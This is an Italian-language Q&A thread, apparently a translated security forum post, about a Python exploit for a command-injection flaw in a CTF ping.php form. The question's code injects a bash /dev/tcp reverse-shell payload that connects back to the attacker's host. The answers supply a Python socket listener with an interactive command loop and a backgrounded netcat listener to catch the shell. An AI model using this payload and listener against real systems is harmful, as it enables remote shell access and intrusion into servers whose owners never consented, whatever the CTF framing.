Crea listener netcat ed esegui reverse shell nello stesso script

3

Sto codificando un exploit in python che sfrutta una vulnerabilità di comando di iniezione per un CTF e mi chiedo come potrei avviare un listener netcat e quindi inviare il payload all'host remoto e una volta stabilita la connessione l'esecuzione dello script termina e mi porta alla connessione stabilita.

Questo è il mio codice:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

Quello che voglio fare è qualcosa di simile a questo:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

Non sono sicuro che una cosa del genere sia possibile. Qualche idea?

    
posta Nucklear 18.09.2013 - 16:37
fonte

2 risposte

4

In genere, dovresti avviare l'ascoltatore separatamente: apri un nuovo terminale ed esegui nc -l -p 9999 . Lascialo lì in attesa, quindi spegni il tuo exploit facendo in modo che la macchina remota avvii una shell inversa.

Ci sono un sacco di cose che possono andare storte in questo processo, in genere legare una shell è molto più semplice che ottenere una shell inversa per funzionare quando sei cieco.

Devi aprire un socket di ascolto e quindi interagire con esso una volta che ha ricevuto una connessione.

Quindi, per prima cosa apri il tuo socket di ascolto (che sostituisce netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

Puoi utilizzare una semplice funzione interact che accetta un socket:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Quindi puoi usarli insieme a qualcosa di simile:

interact(s.accept())

Ciò potrebbe richiedere qualche ritocco, ma questo è il layout di base.

    
risposta data 18.09.2013 - 16:54
fonte
0

Nella tua macchina Kali puoi spingere il listener netcat in background emettendo:

nc -lvp [port] & (Don't use the brackets in your command)

Il cursore potrebbe essere su una nuova riga vuota, ma non preoccuparti, basta premere invio e ti riporterà a dove puoi inviare un altro comando. Sentiti libero di guardare il lavoro in background usando:

jobs

Vedrai tutti i lavori elencati con un numero, lo stato, seguito dal lavoro. Puoi uccidere qualsiasi lavoro emettendo:

kill %1

L'1 è il lavoro che desideri uccidere. Ad ogni modo, il listener di nc sarà in background ed è possibile eseguire il tuo script di exploit python che, se ha successo, dovrebbe far apparire la tua shell / connessione.

    
risposta data 24.01.2016 - 06:30
fonte

Leggi altre domande sui tag